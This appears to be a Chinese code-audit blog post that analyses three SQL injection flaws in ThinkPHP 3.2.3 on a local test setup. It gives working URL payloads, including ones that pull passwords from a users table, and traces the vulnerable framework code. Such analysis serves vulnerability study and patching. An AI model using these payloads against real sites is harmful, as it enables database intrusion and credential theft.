ThinkPHP3.2.x SQL注入

ThinkPHP3.2.x SQL注入

  • 初始配置
    • 数据库配置
    • where注入控制器配置
    • exp注入控制器配置
    • bind注入控制器配置
  • 漏洞利用
    • where注入
    • exp注入
    • bind注入
  • 漏洞分析
    • where注入
    • exp注入
    • bind注入
  • 参考文章

初始配置

  • 这里利用ThinkPHP3.2.3做示例,戳此进行下载
  • ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法

数据库配置

  • 数据库相关内容配置,文件位置Application/Home/Conf/config.php
'配置值'
    //数据库配置信息
    'DB_TYPE'   => 'mysql', // 数据库类型
    'DB_HOST'   => 'localhost', // 服务器地址
    'DB_NAME'   => 'cms', // 数据库名
    'DB_USER'   => 'cms', // 用户名
    'DB_PWD'    => '20010728', // 密码
    'DB_PORT'   => 3306, // 端口
    'DB_PARAMS' =>  array(), // 数据库连接参数
    'DB_PREFIX' => '', // 数据库表前缀
    'DB_CHARSET'=> 'utf8', // 字符集
    'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
);

where注入控制器配置

控制器配置,文件位置Application/Home/Controller/IndexController.class.php

show('

:)

欢迎使用 ThinkPHP


版本 V{$Think.version}
','utf-8'); $data = M('users')->find(I('GET.id')); var_dump($data); } }

exp注入控制器配置

show('

:)

欢迎使用 ThinkPHP


版本 V{$Think.version}
','utf-8'); $User = D('Users'); $map = array('user' => $_GET['user']); $user = $User->where($map)->find(); var_dump($user); } }

bind注入控制器配置

show('

:)

欢迎使用 ThinkPHP


版本 V{$Think.version}
','utf-8'); $User = M("Users"); $user['user_id'] = I('id'); $data['last_name'] = I('last_name'); $valu = $User->where($user)->save($data); var_dump($valu); } }

漏洞利用

where注入

Payload:http://127.0.0.1/cms/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

ThinkPHP3.2.x SQL注入_第1张图片

exp注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

ThinkPHP3.2.x SQL注入_第2张图片

bind注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

ThinkPHP3.2.x SQL注入_第3张图片

漏洞分析

where注入

从官方文档我们可以知道如果I()方法不存在过滤参数的话会默认使用htmlspecialchars方法进行过滤,但是同时默认使用的htmlspecialchars函数并没有过滤'

跟进ThinkPHP/Common/functions.php,如果$filters不存在就等值于C('DEFAULT_FILTER')而该值正等于htmlspecialchars,后面使用回调函数array_map_recursive对数据进行过滤

ThinkPHP3.2.x SQL注入_第4张图片

继续往下,后面利用array_walk_recursive,如果输入数据是数组的话回调think_filter进行数据进一步过滤

ThinkPHP3.2.x SQL注入_第5张图片

跟进think_filter方法,如果传入的data是下面数组里面的其中一个就在其后面添加一个空格

ThinkPHP3.2.x SQL注入_第6张图片

进入find方法,跟进ThinkPHP/Library/Think/Model.class.php,因为我们传入的是一个数组,并且$pk值不为数组所以我们就可以直接绕过前面的预设定位到_parseOptions

ThinkPHP3.2.x SQL注入_第7张图片

进入_parseOptions方法,定位到_parseType

ThinkPHP3.2.x SQL注入_第8张图片

进入_parseType方法,发现这里对数据进行强制数据类型转换,然后返回给_parseOptions,这里对数据进行强制数据类型转换,然后放回,进行数据类型转换后自然是不存在sql注入,所以需要绕过这个函数的过滤,回到上一步发现只有经过if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))这个判断才会进入_parseType函数过滤,这里可以使用数组随便绕过

ThinkPHP3.2.x SQL注入_第9张图片

继续往下,进入select方法

ThinkPHP3.2.x SQL注入_第10张图片

跟进ThinkPHP/Library/Think/Db/Driver.class.php,定位到buildSelectSql方法

ThinkPHP3.2.x SQL注入_第11张图片

进入buildSelectSql方法,定位到parseSql方法

ThinkPHP3.2.x SQL注入_第12张图片

进入parseSql方法,从$options数组中取出对应的数值在做相对于的处理后拼接到sql语句中,直接执行导致了sql注入漏洞,任意一个一维数组都可以绕过前面的限制但是payload使用的是id[where],因为只有符合对应的数组键值才会取出拼接

ThinkPHP3.2.x SQL注入_第13张图片

拼接后的语句为

SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)# LIMIT 1 

这里还有一些可以利用的Payload

?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

exp注入

这里也是使用了find方法进行查询,但很明显的一点就是传入的值一开始就是一个数组,并且这里使用原生的GET来传输数据而不是thinkphp提供的I()方法,其原因是要注入成功必须要传入exp参数,而在上文中分析I()方法是发现会默认对数组一些过滤处理,其中就有exp,而exp后面跟了空格的话会导致注入失败

首先跟进ThinkPHP/Library/Think/Model.class.php中的where方法看看,因为$where是数组而整个where方法其实并没有对该数组什么特别的操作,只是在最后把$where数组赋值给了$options数组

ThinkPHP3.2.x SQL注入_第14张图片

进入find方法,这里和前面跟的一样,并不会对该数组进行过滤,直接看看核心的select,跟进到ThinkPHP/Library/Think/Db/Driver.class.php中的parseSql方法,进入parseWhere方法

ThinkPHP3.2.x SQL注入_第15张图片

此时使用payload时候传入的值$where为:

array(1) {
  ["user"]=>
  array(2) {
    [0]=>
    string(3) "exp"
    [1]=>
    string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
  }
}

分析后发现最后会进入到parseWhereItem方法中,在exp的elseif语句中把where条件直接用点拼接,要满足$val是数组,并且索引为0的值为字符串exp,那么就可以拼接sql语句了,所以传入user[0]=exp&user[1]==1 and xxxxxx,造成SQL注入

ThinkPHP3.2.x SQL注入_第16张图片

bind注入

前面分析exp注入的时候,不仅exp那里存在问题,bind也同时存在问题,但是这里会在$val[1]的前面添加:符号导致sql注入失败

在这里插入图片描述

进入save方法,跟进ThinkPHP/Library/Think/Model.class.php,定位到update方法

ThinkPHP3.2.x SQL注入_第17张图片

跟进ThinkPHP/Library/Think/Db/Driver.class.php中的update方法,我们发现它也调用了parseWhere方法,结合前面对exp注入的分析,猜测应该还存在bind注入,但是存在一个:阻断了注入

ThinkPHP3.2.x SQL注入_第18张图片

跟进execute方法,看看怎么处理这个:

ThinkPHP3.2.x SQL注入_第19张图片
在这里插入图片描述

  • 执行替换操作,将:0替换为外部传进来的字符串,所以让传入参数等于0,这样就拼接了一个:0,然后会通过strtr被替换为1
  • 这里是把:0进行替换为外部传进来的字符串所以我们的payload,这里必须要填0才能消去:

参考文章

戳此查看参考文章

你可能感兴趣的:(#,ThinkPHP代码审计,thinkphp,安全,web,代码审计)